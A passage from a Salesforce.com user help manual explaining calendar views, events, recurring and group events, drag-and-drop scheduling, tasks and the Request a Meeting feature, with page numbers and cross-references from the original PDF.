• Click the date—for example, 26 for March 26th—to drill down to the day view for that day.
• Click the appropriate Week link to drill down to the week view for that week.
• Navigate the calendar using the calendar icons.
• Click This Month to display the month view for the current month.
• Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 118.
• Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 40.
• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
119.

In the multi-user month view, you can view the events of multiple users for the specified month. For more information, see
Using Multi-User Calendar Views on page 120.

117
Activities About Event Detail Overlays

Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Day View
Using the Calendar Week View
Viewing Event Details
Creating Events
Editing Events

About Event Detail Overlays


Available in: All Editions

When viewing a calendar, you can hover your mouse over an event to display the event detail overlay. The event detail overlay
is a hover popup that shows information about the event and allows you to quickly edit or delete the event.
The information presented on the event detail overlay is configured by your administrator. See Defining Mini Page Layouts
on page 2368 for details on configuring the event detail overlay.
Depending on the layout of the event detail overlay, you may be able to click on fields on the overlay to see more detail. For
example, if there is a contact associated with the event, and the event detail includes that information, you can click on the
contact name to go to the contact detail page.

See Also:
Using Your Calendar and Tasks on the Home Page

Viewing Other Calendars


Available in: All Editions

In a single user calendar view, you can switch to the calendar of another user, a public calendar, or a resource calendar:

1. Click [Change] to open the calendar lookup window.


2. As necessary, search for the desired calendar:

a. Choose either “User Calendars” or “Public Calendars & Resources” from the drop-down list.
b. In the Search field, enter all or part of the appropriate user, public calendar, or resource name.
c. Click Go!.

3. Click the appropriate name to switch to that calendar.

118
Activities Sharing Your Calendar

Note: When viewing a resource calendar, you cannot add a new event. You can add events to resource calendars only
by inviting the resource to an event.

To reset your view to your own calendar, click Back to My Calendar (not available in Personal Edition).

See Also:
Granting Access to Your Calendar
Creating an Event in a Public or Resource Calendar
Viewing Your Calendar

Sharing Your Calendar


Available in: All Editions

From a calendar day, week, or month view, click Share My Calendar to change how others are allowed to view your calendar.
For more information, see Granting Access to Your Calendar on page 40.
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activity’s assignee in the role hierarchy.

See Also:
Viewing Your Calendar
Viewing Other Calendars

Printing Your Calendar


Available in: All Editions

To print your calendar, click Printable View from any of the calendar views.
On a printable view, you can:

• Click Print This Page to send the printable view to a printer.


• Click the Next arrow ( ) and Previous arrow ( ) to change the displayed date or dates.
• Click Today, This Week, or This Month depending on the view to display the current date or dates.

In addition:

• On day and week views, you can view a list of tasks that can be customized by selecting an option from the drop-down
list.

119
Activities Using Multi-User Calendar Views

• On multi-user views, you can select an option from the Sort by drop-down list to customize the display. Select Time to
include all users' events on a single calendar, or select User to display a separate calendar for each user.

See Also:
Viewing Your Calendar

Using Multi-User Calendar Views


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To display the calendars of several users on the same page, click the Multi-User View icon ( ).
In the multi-user calendar view, you can:

• Select which calendars display by selecting, editing, and creating user list views. To show a filtered list of items, select a
predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete
any view you created, select it from the View drop-down list and click Edit.
• See the availability of each user. Consult the legend on the page to see which color indicates Busy or Out of Office time.
If a user has multiple events scheduled for a particular time, all of those events display on the calendar. Note that events
marked as Free in the Show Time As field of their event details do not display in the multi-user calendar view.
• Hover your mouse over a colored bar to see more details about an event.
• Create an event and invite multiple users. Check the boxes next to the users you want to invite, then click New Event.
Alternatively, click the Add Event ( ) icon for the appropriate day.

Note: Administrators can enable a setting for multi-user calendar views that displays event details on-screen. For
more information, see Show Event Details on Multi-User Calendar View on page 1065.
Drag-and-drop editing is not available on multi-user calendar views.

Multi-user calendar views work differently in the partner portal, for example, partners can only view calendar information for
users in their own company and for their channel manager. For more information, download the Partner Portal User Help.

See Also:
Viewing Your Calendar
Granting Access to Your Calendar
Creating Group Events

120
Activities Viewing Event Details

Viewing Event Details


Available in: All Editions
Group events not available in: Personal Edition

To view the details of an event:

• Go to the Calendar section of the Home tab and hover your mouse over or click the subject of an event on the Schedule
Meetings subtab.
Only upcoming events display in the Calendar section. Once the event date has passed, the event displays on the Activity
History related list.
• From a calendar view, hover your mouse over an event to see the event's details in an event detail overlay.
• On the detail page of an associated record, click the subject line of the event from the Open Activities or Activity History
related lists.

To see all of your scheduled events for a specific day, week, or month, use the calendar icons to switch between different views.

Viewing Group Event Details


For group events, the detail page lists the users that have been invited and whether they have accepted or declined the event.
You can clone a group event from the group event detail page. This lets you quickly create another group event with the same
invitees. However, you can't clone standard or recurring events.

Viewing Recurring Event Details


The recurrence icon ( ) identifies events that are part of a recurring series. To view the details of the individual event occurrence,
select the View Event subtab (located above the task details). To view the details of the entire event series, select the View
Series subtab .

See Also:
About Event Detail Overlays
Creating Events
Editing Events
Activity Fields

121
Activities Creating Events

Creating Events
Available in: All Editions

User Permissions Needed


To create events: “Edit Events”

1. Begin creating an event by doing one of the following:

• From the Create New drop-down list in the sidebar, click Event.
• From the Calendar section of the Home tab, click New Event.
• From the Open Activities related list of an associated record, click New Event.
• On the day view of the calendar, click on a time to create an event for that time. Alternatively, double-click a time slot
to enter the details of the event in an interactive overlay. Note that your administrator controls the availability of
click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1250.
• On the week view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar
Views on page 1250.
• On the month view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
• On a multi-user calendar, select the users to invite, and click New Event.

2. Enter the details of the event such as subject, start date and time, and end date and time. To assign the event to a partner
user, select Partner User from the Assigned To drop-down list.
Note: If multiday events are enabled for your organization, you can create events that last up to 14 days.

If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support
all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages, such as Japanese,
Korean, or Chinese, are not supported.
Optionally, select Create Recurring Series of Events to specify how often the event repeats. For more information,
see Creating Recurring Events on page 123.
Note: Each occurrence in a series of recurring events cannot last longer than 24 hours. Once the recurring event
series is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled.
To enable multiday events, see Customizing Activity Settings on page 1064.

3. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
4. Optionally, click Add Invitees to make the event a group event to which users, contacts, leads, or resources are invited.
For more information, see Creating Group Events on page 124.

122
Activities Creating Recurring Events

5. Click Save. Alternatively, click Save & New Task to save the event and create a new task or Save & New Event to save
and create an additional event.

See Also:
Editing Events
Activity Fields
Creating an Outlook Appointment for an Event

Creating Recurring Events


Available in: All Editions

User Permissions Needed


To create recurring events: “Edit Events”

A recurring event is an event that repeats in a series, for example a weekly staff meeting that occurs every Monday at 11:00
AM. This topic describes how to complete the Recurrence section on the New Event page. For general instructions on creating
an event, see Creating Events on page 122.
Note: Each occurrence in a series of recurring events cannot last longer than 24 hours. Once the recurring event series
is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To
enable multiday events, see Customizing Activity Settings on page 1064.

1. Select the Create Recurring Series of Events checkbox.


2. Select the frequency of recurrence.
Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:

• Daily: 100
• Weekly: 53
• Monthly: 60
• Yearly: 10

3. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based
on the frequency you selected.
4. Optionally, set a reminder on the recurring event. The reminder applies to each occurrence in the event series.

See Also:
Editing Recurring Events
Creating Group Events
Viewing Your Calendar

123
Activities Creating Group Events

Creating Group Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create group events: “Edit Events”

A group event is a meeting to which you can invite users, contacts, leads, or resources. Group events are marked with the
group event icon ( ). This topic describes how to complete the Invite Others section on the New Event page. For general
instructions on creating an event, see Creating Events on page 122.

1. Click Add Invitees in the Invite Others section.


2. In the popup window, search for invitees:

a. Select the appropriate type of invitee from the drop-down list: users, leads, contacts, or resources.
Person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text field, or leave the field blank to expand the search.
c. Click Go!.

3. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.
Note: Group events that occur only once can have a maximum of 1000 invitees and resource. Recurring group
events can have a maximum of 100 invitees and resources.
You must have at least read access to the contacts and leads you invite to a group event. You must have at least
“Add Events” on a resource to invite it to a group event.

4. Click Done to add the selected people to the event.


5. Review the calendar of each invitee and adjust the date and time of the event, if necessary.
The availability of invitees is indicated in color on their calendars: busy time is blue and out-of-office time is purple. If an
invitee has more than one activity scheduled for a particular time, all of those events will be shown on the calendar. You
can hover your mouse over any event on the calendar to see the event details.
Note: Events marked as free are not displayed.

6. Click Save & Send Invitation.

124
Activities Creating an Event in a Public or Resource Calendar

Invited leads, contacts, and person accounts receive an email containing a link to a web page where they can accept or
decline the invitation for the event or event series. You will also receive an email summary of the event. If an invited resource
is available at the given time, it will automatically accept the invitation. You cannot double-book resources.

See Also:
Responding to Group Events
Editing Events
Creating Recurring Events
Viewing Your Calendar

Creating an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create an event in a public or resource calendar: “Edit Events”

Adding Events to Public Calendars


To add an event to a public calendar:
1. On a calendar view, click [Change] to switch to the appropriate public calendar.
2. Choose the appropriate time and date of the new event:
• On the day view, click a time such as 9:00 AM to add an event at that time.
• On the week or month view, click the Add Event icon ( ) to add an event on a particular date.

3. Enter the details of your event. For details, see Creating Events on page 122.
4. Click Save. Alternatively, click Save & New Task to save the event and immediately begin creating a new task or Save &
New Event to save and begin creating an additional event.

Adding Events to Resource Calendars


To add an event to a resource calendar, invite the resource to the event. For details, see Creating Group Events on page 124.

See Also:
Editing an Event in a Public or Resource Calendar
Managing Public and Resource Calendars
Viewing Your Calendar

125
Activities Editing Events

Editing Events
Available in: All Editions

User Permissions Needed


To edit events: “Edit Events”

1. To edit an event, begin from one of the following locations:

• On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
• On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
• On single user daily and weekly calendar views, you can:

- Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your
mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single
occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of
drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing
is not available for multiday events.
- Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that
your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on
Calendar Views on page 1250.

• On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
• On an activities list view, click Edit next to the appropriate event.

2. Change the event fields as needed.


If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support
all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages, such as Japanese,
Korean, or Chinese, are not supported.
3. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
4. Click Save.

Note: Review the following considerations about who can edit events:

• Permission to edit other users’ events is controlled by your organization's calendar sharing model and your personal
calendar sharing. However, regardless of these settings, managers in the role hierarchy can always edit the events
of people who report to them.

126
Activities Editing Group Events

• Private events can be edited only by the event owner (the user assigned to the event) and users with the “Modify
All Data” permission.

See Also:
Editing Group Events
Editing Recurring Events
Editing an Event in a Public or Resource Calendar
Creating Events
Activity Fields

Editing Group Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit group events: “Edit Events”

Group events are marked with the group event icon ( ). To change the details of a group event that you own:

1. Open the detail page of a group event and click Edit.


2. Change the details and invitees of the event as desired.
In the Email Option drop-down list, choose whether to send an email update to all invited users or only the users you
added or deleted during editing.
3. Click Save & Send Update to save the event and send an update email to the invitees. Alternatively, click Save to save
your changes without sending an email. All changes will be reflected on the calendars of invited users.

Note: You can only edit a group event if you are the event owner. As the event owner, you do not receive email when
an invitee accepts or declines an event invitation.
You can reassign a group event to a new owner unless the event is part of a recurring event series.

See Also:
Responding to Group Events
Editing Recurring Events
Editing Events
Viewing Event Details

127
Activities Editing Recurring Events

Editing Recurring Events


Available in: All Editions

User Permissions Needed


To edit recurring events: “Edit Events”

To change the details of an event that is part of a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Edit Event.
3. Change the event fields.
4. If this is a group event, choose whether to send an email update to all invited users or just the users you added or deleted
during editing. Click Save & Send Update to save the event and send an update email, or just click Save to save your
changes without sending an email. All changes will be reflected on the calendars of users that have accepted the event.
Note: Changes made to a future event that is part of a series of recurring events will be overwritten if the series
frequency is changed.

To change the details of a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Select the View Series subtab and then click the Edit Series button. Alternatively, click the Edit Series link in the
Recurrence section of the detail page.
3. Modify the fields for this series of events. Changes made will not affect events in the series that have occurred in the past.
Caution: If you change any of the details in the recurrence section of the series, all future events that were part of
the series will be deleted and new events will be created. Any changes made to individual events that have not yet
occurred, including any responses from invitees, will be lost.

4. If the series includes invitees, and you want to notify all the invitees of the changes, click Save & Send Update. If you do
not want to send updates to all invitees, click Save.
Note: If you have changed the time or frequency of the events in the series, and you do not send updates, the
response status (accepted, declined, or not responded) for each invitee will not change. If the invitee did not decline
the original invitation, the events will be added to the invitee's calendar. If you extend the end date but make no
other changes, existing events responses will not be changed unless you send updates.

See Also:
Creating Recurring Events
Editing Group Events
Editing Events

128
Activities Editing an Event in a Public or Resource Calendar

Editing an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit an event in a public or resource calendar: “Edit Events”

Note: Permission to edit events in public and resource calendars is controlled by the calendar sharing model.

1. On a calendar view, click [Change] to switch to the appropriate public calendar.


2. To edit an event, begin from one of the following locations:

• On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
• On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
• On single user daily and weekly calendar views, you can:

- Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your
mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single
occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of
drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing
is not available for multiday events.
- Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that
your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on
Calendar Views on page 1250.

• On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
• On an activities list view, click Edit next to the appropriate event.

3. Change the event fields as needed.


4. Click Save.

See Also:
Managing Public and Resource Calendars
Creating an Event in a Public or Resource Calendar
Editing Group Events
Editing Events

129
Activities Responding to Group Events

Responding to Group Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

When another user invites you to a group event, you receive an email containing a link to the event. The event also displays
on your Home tab if your home page layout includes your calendar. To accept or decline the event:

1. Click the event description.


2. Optionally, enter a response.
3. If the event is a single event, click Accept Meeting or Decline Meeting. If you have been invited to a series of events,
click Accept Series or Decline Series.
Note: If you want to attend some of the events in a series of events, but want to decline other events in the series,
accept the series and then decline the specific events you will not attend.

To create an Outlook appointment for your group event, click Add to Outlook. The event immediately opens in Outlook. If
it does not open, save it to your computer as a .vcs file, open the file with Outlook, and then save the event. The Outlook
appointment is tagged with the “salesforce.com” category so that duplicates are not created during synchronization.

See Also:
Creating Group Events
Editing Group Events
Viewing Activities

Creating an Outlook Appointment for an Event


Available in: All Editions

To add an event to Outlook:

1. Select an event from the Calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click Add to Outlook.
3. Click open to immediately add it to Outlook, or save it to your computer as a .vcs file. If you save it as a .vcs file, import
the file with Outlook.
The Outlook appointment is added to the “salesforce.com” category.

See Also:
Creating Events
Using Connect for Outlook

130
Activities Working with Drag-and-Drop Scheduling

Working with Drag-and-Drop Scheduling


Available in: All Editions

User Permissions Needed


To enable drag-and-drop scheduling: “Customize Application”
To create events: “Edit Events”

Drag-and-drop scheduling enables you to create events associated with records by dragging records from list views on to weekly
calendar views and entering the details of the event in an overlay. This allows you to schedule events without leaving the list
view page. Drag-and-drop scheduling is available on list views for accounts, contacts, and leads.
After your administrator sets up drag-and-drop scheduling, you can click the Open Calendar link at the bottom of a list
view to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the
calendar to quickly create an event associated with the record. When the calendar is open, you can:

• Select the Change link to switch to any calendar to which you have access
• Click the Previous Week ( ) and Next Week ( ) icons to view the previous or next weeks in the calendar
• Click the Date Picker icon ( ) to choose a specific date on which to view the calendar
• Select the This Week link to view the current week in the calendar
• Select the Show Weekends checkbox to display weekends on the calendar
• Click the Close icon ( ) to close the calendar at any time. Alternatively, you can click the Close Calendar link at the
bottom of the list view to close the calendar.
• Drag the bar in between the list view and calendar to resize the height of either one

Setting Up Drag-and-Drop Scheduling


Users with the “Customize Application” permission can set up drag-and-drop scheduling. To set up drag-and-drop scheduling:
1. Click Setup ➤ Customize ➤ User Interface.
2. Select the Enable Drag-and-Drop Scheduling on List Views checkbox.
To select the Enable Drag-and-Drop Scheduling on List Views checkbox, you must select the Enable
Drag-and-Drop Editing on Calendar Views and Enable Click-and-Create Events on Calendar
Views checkboxes. For more information, see Customizing User Interface Settings on page 1247.
3. Click Save.
4. Optionally, define event mini page layouts to include the fields you want users to update in the event edit overlay:
a. Click Setup ➤ Customize ➤ Activities ➤ Event Page Layouts
b. Select an events page layout name.
c. Click Mini Page Layout.
d. Select which fields to display in the event edit overlay.
For more information, see Defining Mini Page Layouts on page 2368.
e. Click Save.

131
Activities Viewing Tasks

Tips on Drag-and-Drop Scheduling


Consider the following for drag-and-drop scheduling:
• The Open Calendar link only appears at the bottom of list views for accounts, contacts, and leads.
• Drag-and-drop scheduling is not available for the Console tab, group events, recurring events, accessibility mode, or
Connect Offline.
• List views that include drag-and-drop scheduling may take slightly longer than usual to display.
• We recommend adding the All Day Event field to the event mini page layout, as that field is not automatically added
to event mini page layouts. The All Day Event field allows users to specify whether an event lasts all day.
• Drag-and-drop scheduling includes enhanced lists; however, you do not need to enable enhanced lists for drag-and-drop
scheduling to work. For more information, see Working with Enhanced Lists on page 222.
• When you drag the bar in between the list and calendar to resize either one, the size is automatically saved for all views in
which you use drag-and-drop scheduling. You can resize the list and calendar at any time.

See Also:
Creating Custom List Views

Viewing Tasks
Available in: All Editions

Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail. To view the details of a task, click the task's subject from any of the following locations:

• The My Tasks section of the Home tab


• The calendar day view
• An activities list view
• The Open Activities related list on an associated record
• The Activity History related list on an associated record

The recurrence icon ( ) identifies tasks that are part of a recurring series. To view the details of the individual task occurrence,
select the View Task subtab (located above the task details). To view the details of the entire task series, select the View Series
subtab .
If your organization has enabled Email-to-Case or On-Demand Email-to-Case, some tasks may be associated with
Email-to-Case or On-Demand Email-to-Case emails. Click the link at the top of the task to view the associated email. See
Working with Case Emails on page 2290 for more information.

See Also:
Creating Tasks
Editing Tasks
Closing Tasks
Using Your Calendar and Tasks on the Home Page
Activity Fields

132
Activities Creating Tasks

Creating Tasks
Available in: All Editions

User Permissions Needed


To create tasks: “Edit Tasks”

Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail.

1. To create a task, do one of the following:

• Click New from the My Tasks section of the Home tab


• Click Task from the Create New drop-down list in the sidebar
• Click New Task from the Open Activities related list of an associated record

You can also create tasks from other locations in Salesforce.com.


2. Enter the details of the task:

• Assigned To—Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another
user, enter a user’s name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign
independent copies of a new task to multiple users, see Creating Group Tasks on page 134.
• Subject—The subject or short description of the task, for example, “Email quote to customer.” You can enter a
subject, or select from a picklist of previously defined subjects.
• Due Date (optional)—Date when the task should be completed. You can enter a date, or choose a date from the
calendar that displays when you put your cursor in the field.
• Comments (optional)—Text note describing the task. This field can hold up to 32KB of data.
• Related To (optional)—The record that the task is associated with such as an account or opportunity. This field is
not available when you associate the task with a lead instead of a contact.
• Name (optional)—Contact or lead associated with the task. You can enter the name of the person or use the lookup
icon to select the name.

3. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field.
Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support all
the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages, such as Japanese,
Korean, or Chinese, are not supported.
4. Specify the status and priority of the task.
5. Select the Send Notification Email checkbox to send a notification email to the task's assignee when you save the
task. To save the current state of the checkbox as your personal default, select Make this the default setting.
For administrative information about the Send Notification Email checkbox, see Notes on Page Layouts on page
1031.
6. To create a recurring task:

a. Select the Create Recurring Series of Tasks checkbox.


The Due Date field is disabled because recurring tasks do not all have the same due dates.

133
Activities Creating Group Tasks

b. Select the frequency of recurrence.


Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:

• Daily: 100
• Weekly: 53
• Monthly: 60
• Yearly: 10

c. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed
based on the frequency you selected.

7. Optionally, set a reminder on the task.


If you are creating a recurring task, the reminder applies to each occurrence in the task series.
8. Click Save. Alternatively, click Save & New Task to save the task and begin creating another task, or click Save & New
Event to save the task and begin creating an event.
Once the task is complete, close the task.

See Also:
Using Your Calendar and Tasks on the Home Page
Using the Open Activities Related List
Viewing Tasks
Editing Tasks
Setting Reminders on Activities

Creating Group Tasks


Available in: All Editions

User Permissions Needed


To create tasks: “Edit Tasks”

You can create a task so that up to 100 users are each assigned an independent copy of the task. For example, you could create
a task “Submit your expense reports” with the appropriate due date and assign it to a team of account executives.
This functionality is enabled by default, but your administrator can choose to disable it for your organization. For more
information, see Customizing Activity Settings on page 1064.
To create a group task:

1. On the New Task page, click the lookup icon ( ) next to the Assigned To field.
2. In the lookup window, select the Multiple Users tab.
3. Users can be organized into various categories such as personal groups, public groups, roles, or territories. In the Search
drop-down list, select the appropriate option.

134
Activities Editing Tasks

4. Optionally, enter one or more characters in the text box and click Find to perform a search.
5. In the Available Members list, click one or more items to select them. Press CTRL+click to select multiple items
individually, or SHIFT+click to select multiple adjacent items at the same time.
6. Click the Add and Remove buttons to move your selections between the lists.
7. When the appropriate choices are in the Selected Members list, click Done. If your selections total more than 100
users, you must reduce your selections before you can proceed.
8. On the New Task page, see your selections display next to the Assigned To field. The total number of tasks you are
creating also displays.
9. Continue entering task details such as due date, status, and comments.
Note: When a task is assigned to multiple users or a group, the Create Recurring Series of Tasks
checkbox is disabled. You cannot create group recurring tasks.

10. When you save the task, your selected users will be assigned copies of the task. Note that these copies are independent and
not linked; they can be edited, transferred, or deleted individually.

Tip: Personal groups are a convenient way to organize users into groups that are meaningful to you. For details, see
Creating and Editing Groups on page 496.

See Also:
Creating Tasks

Editing Tasks
Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”

To edit a task:

1. Click the subject of the task from any of the following locations:

• The My Tasks section of the Home tab


• The calendar day view
• An activities list view
• The Open Activities related list on an associated record
• The Activity History related list on an associated record

2. For non-recurring tasks, click Edit.


3. For tasks that are part of a recurring series:

• To edit an individual task occurrence, select the View Task subtab, and click Edit Task.

135
Activities Deleting Recurring Tasks

• To edit an entire task series, select the View Series subtab and click Edit Series. Alternatively, click the Edit Series
link in the Recurrence section of the detail page.

Note: When editing recurring tasks, keep the following in mind:

• Changes you make to an individual task occurrence are overwritten if the task series is subsequently updated
with conflicting information.
• If you change any of the details in the recurrence section of the series, all open tasks that were part of the series
will be deleted and new tasks will be created. Any changes made to individual open tasks that have not yet
occurred will be lost.

4. Change the task fields as needed.


Tip:

• If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the
Comments field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell
Checker does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and
double-byte languages, such as Japanese, Korean, or Chinese, are not supported.
• Select the Send Notification Email checkbox to send a notification email to the task's assignee when
you save the task. To save the current state of the checkbox as your personal default, select Make this the
default setting. For administrative information about the Send Notification Email checkbox, see
Notes on Page Layouts on page 1031.
• You cannot change the status of an entire recurring task series. To change the status, you must edit each
occurrence in the recurring series.

5. Click Save.

See Also:
Viewing Tasks
Closing Tasks
Setting Reminders on Activities
Activity Fields

Deleting Recurring Tasks


Available in: All Editions

User Permissions Needed


To delete recurring tasks: “Edit Tasks”

To delete a single task occurrence or an entire task series:

1. Click the subject of the task from any of the following locations:

136
Activities Closing Tasks

• The My Tasks section of the Home tab


• The calendar day view
• An activities list view
• The Open Activities related list on an associated record
• The Activity History related list on an associated record

2. Do one of the following:

• To delete an individual task occurrence, select the View Task subtab located above the task details, and click Delete
Task.
• To delete a task series, select the View Series subtab, click Delete Series and click OK to confirm the deletion.

Deleted tasks are moved to the Recycle Bin.

Note:
When you delete a task series:

• Closed task occurrences are not deleted.


• Only future task occurrences are placed in the Recycle Bin.
• To restore a series from the Recycle Bin, you must restore each task occurrence. Salesforce.com restores series and
occurrence-specific task details.

See Also:
Creating Tasks
Editing Tasks
Viewing Tasks

Closing Tasks
Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”

To close tasks:

1. On the My Tasks section of the Home tab or on the My Tasks section of the calendar day view, click X next to the
appropriate task. Alternatively, in the Open Activities related list on an associated record, click Cls next to the appropriate
task.
To close all tasks in a recurring series, you must close each occurrence separately.
2. Click Save to accept the changed Status value.
3. Click Save. The closed task displays in the Activity History related list of the associated record.

137
Activities About the Request a Meeting Feature

Note: By default, the status changes to “Completed” when you click X or Cls. However, if your administrator has
customized the task status picklist, then the value changes to the first value for which the Closed checkbox is selected
according to the current order of picklist values. For example, if your administrator has customized the task status
picklist values so that both “Completed” and “Deferred” are defined as Closed and “Deferred” is above “Completed”
in the current order of picklist values, then clicking X or Cls sets the status value to “Deferred.”

See Also:
Viewing Tasks
Editing Tasks
Using the Activity History Related List

About the Request a Meeting Feature


Available in: All Editions

User Permissions Needed


To request a meeting: “Edit Events”
AND
“Send Email”

Watch a Demo (3 minutes)


When you request a meeting with a contact, lead, or person account, Salesforce.com creates a unique Web page for your
meeting that displays the proposed meeting times. When invitees visit the page, they select the times that work for them, and
send you a reply. Salesforce.com tracks all the responses so you can pick the best time to meet when you confirm the meeting.
The following sections provide an overview of how to request a meeting with your customers.
Step 1: You Request a Meeting and Propose Meeting Times

Go to the contact or lead detail page of the customer you want to request a meeting with, and click New Meeting
Request on the Open Activities related list. The Meeting Request page opens.

138
Activities About the Request a Meeting Feature

1. Click To to invite other Salesforce.com users, leads, contacts, or person accounts to the meeting.
2. Click in the calendar to propose up to five meeting times, or let Salesforce.com propose times for you.

Step 2: Invitees Pick the Times They Can Meet

Salesforce.com emails a meeting request to the invitees so they can pick the times they are available.

1. In the meeting request, invitees click Respond to This Request to open your meeting's Web page.
2. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply.

Step 3: You Confirm the Meeting

Salesforce.com keeps track of all the responses so you can see when each invitee is available. You then select the best
time to meet and confirm the meeting.

139
Activities Requesting a Meeting With Contacts, Leads, and Person Accounts

Requesting a Meeting With Contacts, Leads, and Person


Accounts
Available in: All Editions

User Permissions Needed


To request a meeting: “Edit Events”
AND
“Send Email”

Watch a Demo (2:45 minutes)


Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.

Before you request a meeting, note the following:

• You must have at least read access to the contacts, leads and person accounts that you request a meeting with.
• Each invitee must have an email address specified in their record so Salesforce.com can send them a meeting request.
• You can invite up to 50 people to a meeting.
• We recommend you install Connect for Outlook or Connect for Lotus Notes so you can sync your calendar events between
Salesforce.com and Outlook or Lotus Notes.
When proposing meeting times, it's helpful to have your Salesforce.com calendar up-to-date so you can see your free and
busy times.

To request a meeting:

1. Go to the detail page for the contact, lead, or person account you want to invite to a meeting.
2. Click New Meeting Request from the Open Activities related list.

140
Activities Requesting a Meeting With Contacts, Leads, and Person Accounts

If this button doesn't display, ask your Salesforce.com administrator to add it.
3. Click To to invite other Salesforce.com users, leads, contacts, or person accounts to the meeting.

a. Select the type of invitee from the drop-down list.


Person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text field, or leave the field blank to expand the search.
c. Click Go!.
d. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.

If there's a warning icon ( ) next to a person's name, you can't invite them to the meeting because they don't have an
email address specified in their record. Once you add an email address to their record, you can invite them to meetings.
e. Click Done.
To remove someone you just invited, click “x” next to their name in the To field. You can remove all invitees except
the first contact, lead or person account that you requested a meeting with.

4. Enter a subject and location.


The default subject is a combination of the account name for the lead or contact and the company name specified in your
personal information. For example, if you're meeting with a contact from the Sterling company and you work for ACME,
the default subject is Sterling and ACME. The default location is always To be determined.
5. Select one of the following tabs:

• I propose meeting times—Propose up to five meeting times by picking times in the calendar. See Tips for Proposing
Meeting Times on page 142
• Let Salesforce.com propose meeting times—Choose the duration and time frame of the meeting and let Salesforce.com
